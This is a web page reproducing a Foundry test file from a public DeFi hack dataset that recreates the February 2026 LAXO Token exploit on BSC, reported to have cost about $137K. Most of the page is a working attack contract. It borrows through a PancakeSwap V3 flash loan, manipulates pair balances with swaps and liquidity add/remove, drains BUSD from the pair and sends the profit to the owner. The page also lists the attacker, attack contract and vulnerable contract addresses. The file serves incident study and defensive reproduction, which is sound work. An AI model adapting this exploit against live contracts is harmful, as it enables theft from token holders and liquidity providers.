Public reproduction file
src/test/2026-02/LAXO_Token_exp.sol
Public reproduction file for dataset entry LAXO Token.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.23;4import "../basetest.sol";5import "../interface.sol";8// @KeyInfo - Total Lost : ~137K US$9// Attacker : 0x17f9132E66A78b93195b4B186702Ad18Fdcd6E3D10// Attack Contract : 0x6588ACB7dd37887C707C08AC710A82c9F9A7C1E911// Vulnerable Contract : 0x62951CaD7659393BF07fbe790cF898A3B6d317CB12// Attack Tx : 0xd58f3ef6414b59f95f55dae1acb3d5d6e626acf5333917c6d43fe422d98ac7d314// @Info15// Vulnerable Contract Code : https://bscscan.com/address/0x62951CaD7659393BF07fbe790cF898A3B6d317CB#code17// @Analysis18// Twitter Guy : https://x.com/CertiKAlert/status/202731709542007231720contract LAXO_Token_exp is BaseTestWithBalanceLog {21 bytes32 exploitTx=0xd58f3ef6414b59f95f55dae1acb3d5d6e626acf5333917c6d43fe422d98ac7d3;22 address busd = 0x55d398326f99059fF775485246999027B3197955;23 address laxo = 0x62951CaD7659393BF07fbe790cF898A3B6d317CB;24 AttackContract attack;26 function setUp() public {27 vm.createSelectFork("bsc", exploitTx); // blocknumber = 82_730_14128 attack = new AttackContract();29 deal(laxo, address(attack), 1_000_000_000_000_000_000, false);30 vm.deal(address(attack),100_000_000_000_000);31 }33 function testExploit() public {34 uint beforeAmount = IERC20(busd).balanceOf(address(this));35 attack.start();36 uint afterAmount = IERC20(busd).balanceOf(address(this));37 emit log_named_decimal_uint("BSC-USD: ", afterAmount-beforeAmount, 18);39 }40}42contract AttackContract{43 address owner;44 IERC20 busd = IERC20(0x55d398326f99059fF775485246999027B3197955);45 IERC20 laxo = IERC20(0x62951CaD7659393BF07fbe790cF898A3B6d317CB);46 Uni_Pair_V3 pancake = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);47 IPancakePair wbnb_pair = IPancakePair(0x78A4bb0b1D32fedbd8baC49055649030DCDe7985);48 IPancakePair busd_pair = IPancakePair(0xF05a6361e6F851BbFf39C4f1d9aD4b661d3180B3);49 IUniswapV2Router router = IUniswapV2Router(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));51 uint constant deadline = 1_771_774_364;53 constructor(){54 owner=msg.sender;55 }57 function start() public{58 pancake.flash(address(this), 350_000_000_000_000_000_000_000, 0, abi.encode(2_739_720_310));59 }61 function pancakeV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {62 busd.approve(address(router),type(uint).max);64 address[] memory path = new address[](2);65 path[0]=address(busd);66 path[1]=address(laxo);68 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(69 350_000_000_000_000_000_000_000,70 0,71 path,72 address(router),73 deadline74 );76 laxo.approve(address(router),type(uint).max);77 router.addLiquidityETH{value:address(this).balance}(address(laxo), 10_000, 0, 0, address(this), deadline);78 wbnb_pair.approve(address(router), type(uint).max);79 router.removeLiquidityETHSupportingFeeOnTransferTokens(address(laxo), 100_000, 0, 0, address(this), deadline);81 require(52_057_043_674_336_149_349_295_101==laxo.balanceOf(address(busd_pair)), "busd_pair check");82 laxo.transfer(address(busd_pair),laxo.balanceOf(address(busd_pair)));84 (uint reserve0, uint reserve1, )=busd_pair.getReserves();85 uint256 amountOut = router.getAmountOut(41_072_653_255_359_825_749_210_636, reserve1, reserve0);87 require(amountOut == 487_495_176_743_718_966_418_330, "amountOut check");88 busd_pair.swap(amountOut, 0, address(this), new bytes(0));89 busd.transfer(address(pancake), 350_175_000_000_000_000_000_000);91 require(137_320_176_743_718_966_418_330 == busd.balanceOf(address(this)),"busd check");92 busd.transfer(owner,busd.balanceOf(address(this)));93 }94 receive() external payable{}95}Analysis
Dataset entry
Public Foundry test for “LAXO Token” (2026-02-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
4 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-02/Moonwell_exp.solSame month in the dataset · 133 lines
- src/test/2026-02/XDKRecycle_exp.solSame month in the dataset · 229 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x17f9132e66a78b93195b4b186702ad18fdcd6e3d
- Attack Contract
0x6588acb7dd37887c707c08ac710a82c9f9a7c1e9
- Vulnerable Contract
0x62951cad7659393bf07fbe790cf898a3b6d317cb
- Attack Tx
0xd58f3ef6414b59f95f55dae1acb3d5d6e626acf5333917c6d43fe422d98ac7d3
File record
- Name
- LAXO Token
- Path
- src/test/2026-02/LAXO_Token_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- e151db9cc01a874a3713d3328f1824370e7c58e6
- Language
- Solidity
- Size
- 96 lines
- Date
- 2026-02-22
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-02/LAXO_Token_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e151db9cc01a874a3713d3328f1824370e7c58e6, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.